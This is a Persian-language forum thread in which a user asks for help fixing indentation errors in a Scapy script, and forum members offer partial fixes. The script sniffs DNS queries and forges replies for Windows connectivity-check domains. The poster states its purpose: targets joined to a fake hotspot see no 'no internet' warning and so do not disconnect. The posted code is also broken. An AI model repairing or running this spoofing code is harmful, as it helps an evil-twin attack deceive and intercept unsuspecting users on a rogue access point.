مشکل IndentationError: expected an indented fix



  • سلام و عرض ادب
    من در اجرای این اسکریپت مشکلی دارم و خطای زیر را دریافت می‌کنم
    IndentationError: expected an indented fix

    بنظر مشکل از tab ها و فاصله ها هست
    متاسفانه نتونستم اصلاحش کنم
    ممنون میشم کمکم کنید

    کد

    from scapy.all import *
    DIR=os.path.dirname(os.path.abspath(__file__))
    print('Executed from '+DIR+'\n')
    print('Assuming interface wlan0mon')
    
    def FakeAccess2(pkt):
        pkt=pkt[0]
        if pkt.haslayer(DNSQR):
            print('Packet with DNSQR layer found.')
        if pkt[DNS].qd.qtype == 1:
            print('DNSQR type appears type = A')
        if 'dns' in pkt[DNS].qd.qname and 'msftncsi' in pkt[DNS].qd.qname:
        #MUST RETURN TRUE VALUE!    
            print('It appears captured DNS request requests dns.msftncsi.com')  
        spoofed_pkt = Ether(dst=pkt[Ether].src, src=pkt[Ether].dst, type=pkt[Ether].type)/\
        IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
        UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
        DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\
        an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=64, rdata='131.107.255.255'))
        del pkt[IP].chksum
        del pkt[UDP].chksum
        # replace your Fake AP interface with 'wlan0mon'
        sendp(spoofed_pkt,iface='wlan0mon')
            print('Spoofed response send:')
        spoofed_pkt.show2()
    
        if 'www' in pkt[DNS].qd.qname and 'msftncsi' in pkt[DNS].qd.qname:  
    #MUST POINT TO SERVER WITH connecttest.txt; ISTO NARED ZA IPV6
            print('It appears captured DNS request requests www.msftconnecttest.com')  
        spoofed_pkt = Ether(dst=pkt[Ether].src, src=pkt[Ether].dst, type=pkt[Ether].type)/\
        IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
        UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
        DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\
    # 192.168.1.254 mora bit GW nastiman za dhcp
        an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=64, rdata='192.168.1.254'))
        del pkt[IP].chksum
        del pkt[UDP].chksum
    
        sendp(spoofed_pkt,iface='wlan0mon')
            print('Spoofed response send:')
        spoofed_pkt.show2()
    
        else:
            print('Wrong DNS.qd.qname :'+pkt[DNS].qd.qname)
    
        if pkt[DNS].qd.qtype == 28:
            print('DNSQR type appears type = AAAA')
        if 'dns' in pkt[DNS].qd.qname and 'msftncsi' in pkt[DNS].qd.qname:
        #MUST RETURN TRUE VALUE
            print('AAAA DNS request for dns.msftncsi.com found, loop works')
        spoofed_pkt = Ether(dst=pkt[Ether].src, src=pkt[Ether].dst, type=pkt[Ether].type)/\
        IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
        UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
        DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\
        an=DNSRR(rrname=pkt[DNS].qd.qname, type=28, ttl=64, rdata='fd3e:4f5a:5b81::1'))
        
        del pkt[IP].chksum
        del pkt[UDP].chksum
    
        sendp(spoofed_pkt,iface='wlan0mon')
        print('Spoofed response send:')
        spoofed_pkt.show2()
    
        if 'dns' not in pkt[DNS].qd.qname and 'msftncsi' in pkt[DNS].qd.qname:
    #MUST RETURN TRUE VALUE
            print('AAAA DNS request for www.msftncsi.com found, loop works')
        spoofed_pkt = Ether(dst=pkt[Ether].src, src=pkt[Ether].dst, type=pkt[Ether].type)/\
        IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
        UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
        DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\
        an=DNSRR(rrname=pkt[DNS].qd.qname, type=28, ttl=64, rdata='fe80::ea94:f6ff:fe24:d147'))
        #RDATA JE IPV6 OD wlan0mon
        del pkt[IP].chksum
        del pkt[UDP].chksum
    
        sendp(spoofed_pkt,iface='wlan0mon')
            print('Spoofed response send:')
        spoofed_pkt.show2()
    
        else:
            print('Captured packet has no DNSQR')
    
            print('Sniffing...')
    sniff(filter='dst port 53',prn=FakeAccess2, store=0, count=0, iface='wlan0mon')
    
    
    


  • با سلام و عرض ادب

    خطای IndentationError خطای indent نداشتن هست و ربطی به تب و فاصله ندارد.
    در یک یا چند بلوک شما ایندنت نکردید که مفسر پایتون به شما خطا داده است.
    متوجه مشکل ایندنت در کد شما نشدم راستش اما به نظرم لاین 61 شاید باشه.

    یک بار دیگه کد رو ران کنید ببینید مفسر به چه خطی خطا میده و اون جا باید اون خط رو جلو ببرید و فاصله بدید بهش.



  • البته ممکن هم هست میکس تب و فاصله باشه.
    اگر که مایل بودید فایل .py کد تون رو در سایت up.rashn.net آپلود کنید و بعد اطلاع بدید که چک کنم.
    یا هم در ادیتوری مثل vs code یا atom ببینید میکس تب و فاصله دارید یا خیر.



  • ممنونم از اینکه توجه کردید
    متاسفانه توسعه دهنده اسکریپت در دسترس نیست وگرنه مزاحم شما نمیشدم
    اسکریپت را در مسیر زیر آپلود کردم
    https://up.rashn.net/uploads/34234420.ncsifix.py.txt
    از سایت آنلاین کمک گرفتم و مشکل فاصله را حل کردم
    در خط های 43 و 77 خطا دریافت کردم که بنظر میگفت نباید else داشته باشید من آن خط را حذف کردم و آن خطا رفه شد
    اما در خط 8 خطا دریافت کردم
    Traceback (most recent call last):
    File “ncsifix.py”, line 8, in <module>
    if pkt.haslayer(DNSQR):
    NameError: name ‘pkt’ is not defined

    ممنون میشم اسکریپت را تست کنید
    لازمه اجرای اسکریپت داشتن لینوکس و نصب بسته scapy هست
    راجع به اسکریپت
    کار این اسکریپت جعل dns ویندوز هست
    زمانی که تارگت در ویندوز خودش به اکسس پوینت جعلی (هات اسپات) ما متصل میشه، اگر ما دسترسی اینترنت به او ندهیم خطای no internect connetion در زیر کانکشن خود مشاهده می‌کنه
    همین مورد باعث شک او میشه و از اکسس پوینت جدا می‌شه. خوب محقق اسکریپت، مسیری که باعث این خطا میشه را پیدا کرده و با استفاده از ابزار scapy قصد داره اون آدرس را جعل کنه.
    لطف می‌کنید اسکریپت را از روی متن بررسی کنید



  • سلام
    ارور لاین ۸ مربوط به این هست که متغیر pkt تعریف نشده. این رو در ماژولی که ایمپورت کردید یک چک بکنید.
    من فعلا دسترسی به سیستم برای تست ندارم اما حتما تست می‌کنم.



  • سلام ممنونم، متاسفانه من در این زمینه دانش لازم را ندارم



  • پاسخ: مشکل IndentationError: expected an indented fix
    سلام
    https://up.rashn.net/uploads/109109703.ncsifix-.py.txt
    یک سری تغییرات براتون اعمال کردم مثل این که بلوک else داشتید که چند خط کد بعد از if دیگه indent نداشتند و باعث مشکل می شد.

    اما خطای زیر رو که میده یعنی توی ماژول چنین چیزی من ندیدم تعریف شده باشه:

    if pkt.haslayer(DNSQR):
    NameError: name 'pkt' is not defined
    

    کمی داکیومنت های این ماژول رو خوندم اما متوجه نشدم که چرا داره خطا میده.

    توی فروم های خارجی هم اگر می تونید بپرسید. چون من با این ماژول کار نکردم شاید راه حلش رو ندونم و کسی که کار کرده باشه اطلاع داشته باشه.

    اگر که راه حلش رو پیدا کردم بهتون اطلاع میدم. شما هم لطفا اگر راهی پیدا کردید اطلاع بدید که ما هم مطلع بشیم.



  • ممنونم محبت کردید
    من در فرم پایتون خارجی این مورد را پرسیدم و مشکل if را اطلاع دادند

    To which if does the else on line 43 belong? Probably to the if in line 27. But this if ends on line 30 because “spoofed_pkt” is not indented anymore. So this else belongs to nothing.

    https://python-forum.io/Thread-error-IndentationError-expected-an-indented-block
    از چندتا از توسعه دهندگان چنین اسکریپت‌هایی هم سوال کردم اما هنوز پاسخ ندادند

    اما اسکریپتی پیدا کردم که داخلش چنین کدی استفاده شده بود
    https://github.com/x4nth055/pythoncode-tutorials/blob/master/scapy/dns-spoof/dns_spoof.py
    https://github.com/mpostument/hacking_tools/blob/master/dns_spoof/dns_spoof.py

    ممنون میشم نگاهی به این اسکریپت‌ها بیندازید



  • سلام

    نگاه کردم اما متوجهش نشدم راستش.
    می تونید در سایت stackoverflow هم سوال رو بپرسید. و اگر هم مایل بودید لینک هم بدید من هم ببینم که مشکل چطور رفع میشه.



  • سلام
    ممنونم از اینکه زمان گذاشتید و توجه کردید
    حتما روش فیکس شدنش را در انتهای تاپیک قرار میدم
    بازم ممنونم و همیشه موفق باشید


وارد شوید تا پست بفرستید